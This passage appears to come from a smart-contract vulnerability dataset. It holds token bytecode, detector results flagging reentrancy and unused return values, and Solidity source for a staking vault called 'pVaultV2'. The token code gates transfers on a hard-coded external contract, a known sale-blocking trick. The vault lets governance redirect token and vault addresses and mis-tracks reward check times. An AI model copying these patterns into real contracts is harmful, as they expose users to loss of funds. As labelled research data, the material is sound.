5050565b600090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104d7610d47565b73ffffffffffffffffffffffffffffffffffffffff16146104f757600080fd5b600061050230610510565b905061050d81611344565b50565b600061055a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cc565b9050919050565b610569610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed906120a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5341570000000000000000000000000000000000000000000000000000000000815250905090565b600061072e610727610d47565b8484610f1a565b6001905092915050565b610740610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c4906120a9565b60405180910390fd5b600860149054906101000a900460ff161561081d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081490612115565b60405180910390fd5b61084e30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166377359400610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b657600080fd5b505afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee919061214a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097257600080fd5b505afa158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa919061214a565b6040518363ffffffff1660e01b81526004016109c7929190612177565b602060405180830381600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a19919061214a565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610aa230610510565b600080610aad6106b4565b426040518863ffffffff1660e01b8152600401610acf969594939291906121e5565b6060604051808303818588803b158015610ae857600080fd5b505af1158015610afc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b21919061225b565b5050506001600860166101000a81548160ff0219169083151502179055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf99291906122ae565b602060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190612303565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d16610d47565b73ffffffffffffffffffffffffffffffffffffffff1614610d3657600080fd5b6000479050610d448161163a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db6906123a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2690612434565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0d9190611f21565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f81906124c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190612558565b60405180910390fd5b6000811161103d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611034906125ea565b60405180910390fd5b73878bc0d329e346c49ac313781e1129ec37704aa773ffffffffffffffffffffffffffffffffffffffff1663aa8c217c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561109757600080fd5b505afa1580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf919061260a565b81600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561117b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b611186576000611189565b60015b60ff166111969190612666565b11156111a157600080fd5b6111a96106b4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561121757506111e76106b4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112d057600860159054906101000a900460ff161580156112875750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561129f5750600860169054906101000a900460ff165b156112cf576112b56112b030610510565b611344565b600047905060008111156112cd576112cc4761163a565b5b505b5b6112db8383836116a6565b505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9190611de1565b60405180910390fd5b506000838561133791906126c0565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561137c5761137b6126f4565b5b6040519080825280602002602001820160405280156113aa5781602001602082028036833780820191505090505b50905030816000815181106113c2576113c1612723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561146457600080fd5b505afa158015611478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149c919061214a565b816001815181106114b0576114af612723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061151730600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161157b959493929190612810565b600060405180830381600087803b15801561159557600080fd5b505af11580156115a9573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160a906128dc565b60405180910390fd5b600061161d6116b6565b905061163281846116e190919063ffffffff16565b915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116a2573d6000803e3d6000fd5b5050565b6116b183838361172b565b505050565b60008060006116c36118f6565b915091506116da81836116e190919063ffffffff16565b9250505090565b600061172383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611949565b905092915050565b60008060008060008061173d876119ac565b95509550955095509550955061179b86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1190919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061183085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187c81611ab9565b6118868483611b76565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118e39190611f21565b60405180910390a3505050505050505050565b6000806000600354905060006377359400905061192263773594006003546116e190919063ffffffff16565b82101561193c576003546377359400935093505050611945565b81819350935050505b9091565b60008083118290611990576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119879190611de1565b60405180910390fd5b506000838561199f919061292b565b9050809150509392505050565b60008060008060008060008060006119c68a600654611bb0565b92509250925060006119d66116b6565b905060008060006119e98e878787611c44565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b6000808284611a6a919061295c565b905083811015611aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa6906129fe565b60405180910390fd5b8091505092915050565b6000611ac36116b6565b90506000611ada8284611ccd90919063ffffffff16565b9050611b2e81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b8b82600354611a1190919063ffffffff16565b600381905550611ba681600454611a5b90919063ffffffff16565b6004819055505050565b600080600080611bdc6064611bce8789611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c066064611bf8888a611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c2f82611c21858b611a1190919063ffffffff16565b611a1190919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611c5d8589611ccd90919063ffffffff16565b90506000611c748689611ccd90919063ffffffff16565b90506000611c8b8789611ccd90919063ffffffff16565b90506000611cb482611ca68587611a1190919063ffffffff16565b611a1190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611ce05760009050611d42565b60008284611cee9190612666565b9050828482611cfd919061292b565b14611d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3490612a90565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d82578082015181840152602081019050611d67565b83811115611d91576000848401525b50505050565b6000601f19601f8301169050919050565b6000611db382611d48565b611dbd8185611d53565b9350611dcd818560208601611d64565b611dd681611d97565b840191505092915050565b60006020820190508181036000830152611dfb8184611da8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611e3382611e08565b9050919050565b611e4381611e28565b8114611e4e57600080fd5b50565b600081359050611e6081611e3a565b92915050565b6000819050919050565b611e7981611e66565b8114611e8457600080fd5b50565b600081359050611e9681611e70565b92915050565b60008060408385031215611eb357611eb2611e03565b5b6000611ec185828601611e51565b9250506020611ed285828601611e87565b9150509250929050565b60008115159050919050565b611ef181611edc565b82525050565b6000602082019050611f0c6000830184611ee8565b92915050565b611f1b81611e66565b82525050565b6000602082019050611f366000830184611f12565b92915050565b600080600060608486031215611f5557611f54611e03565b5b6000611f6386828701611e51565b9350506020611f7486828701611e51565b9250506040611f8586828701611e87565b9150509250925092565b600060ff82169050919050565b611fa581611f8f565b82525050565b6000602082019050611fc06000830184611f9c565b92915050565b600060208284031215611fdc57611fdb611e03565b5b6000611fea84828501611e51565b91505092915050565b611ffc81611e28565b82525050565b60006020820190506120176000830184611ff3565b92915050565b6000806040838503121561203457612033611e03565b5b600061204285828601611e51565b925050602061205385828601611e51565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612093602083611d53565b915061209e8261205d565b602082019050919050565b600060208201905081810360008301526120c281612086565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006120ff601783611d53565b915061210a826120c9565b602082019050919050565b6000602082019050818103600083015261212e816120f2565b9050919050565b60008151905061214481611e3a565b92915050565b6000602082840312156121605761215f611e03565b5b600061216e84828501612135565b91505092915050565b600060408201905061218c6000830185611ff3565b6121996020830184611ff3565b9392505050565b6000819050919050565b6000819050919050565b60006121cf6121ca6121c5846121a0565b6121aa565b611e66565b9050919050565b6121df816121b4565b82525050565b600060c0820190506121fa6000830189611ff3565b6122076020830188611f12565b61221460408301876121d6565b61222160608301866121d6565b61222e6080830185611ff3565b61223b60a0830184611f12565b979650505050505050565b60008151905061225581611e70565b92915050565b60008060006060848603121561227457612273611e03565b5b600061228286828701612246565b935050602061229386828701612246565b92505060406122a486828701612246565b9150509250925092565b60006040820190506122c36000830185611ff3565b6122d06020830184611f12565b9392505050565b6122e081611edc565b81146122eb57600080fd5b50565b6000815190506122fd816122d7565b92915050565b60006020828403121561231957612318611e03565b5b6000612327848285016122ee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061238c602483611d53565b915061239782612330565b604082019050919050565b600060208201905081810360008301526123bb8161237f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061241e602283611d53565b9150612429826123c2565b604082019050919050565b6000602082019050818103600083015261244d81612411565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006124b0602583611d53565b91506124bb82612454565b604082019050919050565b600060208201905081810360008301526124df816124a3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612542602383611d53565b915061254d826124e6565b604082019050919050565b6000602082019050818103600083015261257181612535565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006125d4602983611d53565b91506125df82612578565b604082019050919050565b60006020820190508181036000830152612603816125c7565b9050919050565b6000602082840312156126205761261f611e03565b5b600061262e84828501612246565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061267182611e66565b915061267c83611e66565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126b5576126b4612637565b5b828202905092915050565b60006126cb82611e66565b91506126d683611e66565b9250828210156126e9576126e8612637565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61278781611e28565b82525050565b6000612799838361277e565b60208301905092915050565b6000602082019050919050565b60006127bd82612752565b6127c7818561275d565b93506127d28361276e565b8060005b838110156128035781516127ea888261278d565b97506127f5836127a5565b9250506001810190506127d6565b5085935050505092915050565b600060a0820190506128256000830188611f12565b61283260208301876121d6565b818103604083015261284481866127b2565b90506128536060830185611ff3565b6128606080830184611f12565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006128c6602a83611d53565b91506128d18261286a565b604082019050919050565b600060208201905081810360008301526128f5816128b9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061293682611e66565b915061294183611e66565b925082612951576129506128fc565b5b828204905092915050565b600061296782611e66565b915061297283611e66565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156129a7576129a6612637565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006129e8601b83611d53565b91506129f3826129b2565b602082019050919050565b60006020820190508181036000830152612a17816129db565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a7a602183611d53565b9150612a8582612a1e565b604082019050919050565b60006020820190508181036000830152612aa981612a6d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f3b9e0c7789c9531a4841f512549adc80495761ee8f0ac4dd69042cb92229d364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,856
0xbbcbcc35155dd22dd010501b0a3e215d7309eee8
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{ value : amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pVaultV2 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct Reward { uint256 amount; uint256 timestamp; uint256 totalDeposit; } mapping(address => uint256) public _lastCheckTime; mapping(address => uint256) public _rewardBalance; mapping(address => uint256) public _depositBalances; uint256 public _totalDeposit; Reward[] public _rewards; string public _vaultName; IERC20 public token0; IERC20 public token1; address public feeAddress; address public vaultAddress; uint32 public feePermill = 5; uint256 public delayDuration = 7 days; bool public withdrawable; address public gov; uint256 public _rewardCount; event SentReward(uint256 amount); event Deposited(address indexed user, uint256 amount); event ClaimedReward(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) { token0 = IERC20(_token0); token1 = IERC20(_token1); feeAddress = _feeAddress; vaultAddress = _vaultAddress; _vaultName = name; gov = msg.sender; } modifier onlyGov() { require(msg.sender == gov, "!governance"); _; } function setGovernance(address _gov) external onlyGov { gov = _gov; } function setToken0(address _token) external onlyGov { token0 = IERC20(_token); } function setToken1(address _token) external onlyGov { token1 = IERC20(_token); } function setFeeAddress(address _feeAddress) external onlyGov { feeAddress = _feeAddress; } function setVaultAddress(address _vaultAddress) external onlyGov { vaultAddress = _vaultAddress; } function setFeePermill(uint32 _feePermill) external onlyGov { feePermill = _feePermill; } function setDelayDuration(uint32 _delayDuration) external onlyGov { delayDuration = _delayDuration; } function setWithdrawable(bool _withdrawable) external onlyGov { withdrawable = _withdrawable; } function setVaultName(string memory name) external onlyGov { _vaultName = name; } function balance0() external view returns (uint256) { return token0.balanceOf(address(this)); } function balance1() external view returns (uint256) { return token1.balanceOf(address(this)); } function getReward(address userAddress) internal { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (lastCheckTime > 0 && _rewards.length > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } _rewardBalance[userAddress] = rewardBalance; _lastCheckTime[msg.sender] = block.timestamp; } function deposit(uint256 amount) external { getReward(msg.sender); uint256 feeAmount = amount.mul(feePermill).div(1000); uint256 realAmount = amount.sub(feeAmount); if (feeAmount > 0) { token0.safeTransferFrom(msg.sender, feeAddress, feeAmount); } if (realAmount > 0) { token0.safeTransferFrom(msg.sender, vaultAddress, realAmount); _depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount); _totalDeposit = _totalDeposit.add(realAmount); emit Deposited(msg.sender, realAmount); } } function withdraw(uint256 amount) external { require(token0.balanceOf(address(this)) > 0, "no withdraw amount"); require(withdrawable, "not withdrawable"); getReward(msg.sender); if (amount > _depositBalances[msg.sender]) { amount = _depositBalances[msg.sender]; } require(amount > 0, "can't withdraw 0"); token0.safeTransfer(msg.sender, amount); _depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount); _totalDeposit = _totalDeposit.sub(amount); emit Withdrawn(msg.sender, amount); } function sendReward(uint256 amount) external { require(amount > 0, "can't reward 0"); require(_totalDeposit > 0, "totalDeposit must bigger than 0"); token1.safeTransferFrom(msg.sender, address(this), amount); Reward memory reward; reward = Reward(amount, block.timestamp, _totalDeposit); _rewards.push(reward); emit SentReward(amount); } function claimReward(uint256 amount) external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); if (amount > rewardLimit) { amount = rewardLimit; } _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount); token1.safeTransfer(msg.sender, amount); } function claimRewardAll() external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit); token1.safeTransfer(msg.sender, rewardLimit); } function getRewardAmount(address userAddress) public view returns (uint256) { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (_rewards.length > 0) { if (lastCheckTime > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) { uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit); timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration); rewardBalance = rewardBalance.sub(timedAmount); if (j == 0) break; } } return rewardBalance; } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063adc3b31b1161010f578063c6e426bd116100a2578063d86e1ef711610071578063d86e1ef714610579578063e2aa2a851461059c578063e4186aa6146105a4578063fab980b7146105ca576101f0565b8063c6e426bd1461050f578063c78b6dea14610535578063cbeb7ef214610552578063d21220a714610571576101f0565b8063b79ea884116100de578063b79ea884146104b6578063b8f6e841146104dc578063b8f79288146104e4578063c45c4f5814610507576101f0565b8063adc3b31b1461044e578063ae169a5014610474578063b5984a3614610491578063b6b55f2514610499576101f0565b806344264d3d1161018757806385535cc51161015657806385535cc5146103a15780638705fcd4146103c75780638f1e9405146103ed578063ab033ea914610428576101f0565b806344264d3d1461033657806344a040f514610357578063501883011461037d578063637830ca14610399576101f0565b806327b5b6a0116101c357806327b5b6a0146102e35780632e1a7d4d146103095780634127535814610326578063430bf08a1461032e576101f0565b80630dfe1681146101f557806311cc66b21461021957806312d43a51146102c15780631c69ad00146102c9575b600080fd5b6101fd610647565b604080516001600160a01b039092168252519081900360200190f35b6102bf6004803603602081101561022f57600080fd5b81019060208101813564010000000081111561024a57600080fd5b82018360208201111561025c57600080fd5b8035906020019184600183028401116401000000008311171561027e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610656945050505050565b005b6101fd6106bf565b6102d16106d3565b60408051918252519081900360200190f35b6102d1600480360360208110156102f957600080fd5b50356001600160a01b031661074f565b6102bf6004803603602081101561031f57600080fd5b5035610761565b6101fd61096d565b6101fd61097c565b61033e61098b565b6040805163ffffffff9092168252519081900360200190f35b6102d16004803603602081101561036d57600080fd5b50356001600160a01b031661099e565b610385610b41565b604080519115158252519081900360200190f35b6102bf610b4a565b6102bf600480360360208110156103b757600080fd5b50356001600160a01b0316610baa565b6102bf600480360360208110156103dd57600080fd5b50356001600160a01b0316610c1e565b61040a6004803603602081101561040357600080fd5b5035610c92565b60408051938452602084019290925282820152519081900360600190f35b6102bf6004803603602081101561043e57600080fd5b50356001600160a01b0316610cc5565b6102d16004803603602081101561046457600080fd5b50356001600160a01b0316610d3f565b6102bf6004803603602081101561048a57600080fd5b5035610d51565b6102d1610db9565b6102bf600480360360208110156104af57600080fd5b5035610dbf565b6102bf600480360360208110156104cc57600080fd5b50356001600160a01b0316610ec2565b6102d1610f36565b6102bf600480360360208110156104fa57600080fd5b503563ffffffff16610f3c565b6102d1610fb4565b6102bf6004803603602081101561052557600080fd5b50356001600160a01b0316610fff565b6102bf6004803603602081101561054b57600080fd5b5035611073565b6102bf6004803603602081101561056857600080fd5b50351515611214565b6101fd611279565b6102bf6004803603602081101561058f57600080fd5b503563ffffffff16611288565b6102d16112e5565b6102d1600480360360208110156105ba57600080fd5b50356001600160a01b03166112eb565b6105d26112fd565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561060c5781810151838201526020016105f4565b50505050905090810190601f1680156106395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6006546001600160a01b031681565b600b5461010090046001600160a01b031633146106a8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106bb906005906020840190611975565b5050565b600b5461010090046001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b505afa158015610732573d6000803e3d6000fd5b505050506040513d602081101561074857600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107ac57600080fd5b505afa1580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b50511161081f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610869576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108723361138b565b3360009081526002602052604090205481111561089b5750336000908152600260205260409020545b600081116108e3576040805162461bcd60e51b815260206004820152601060248201526f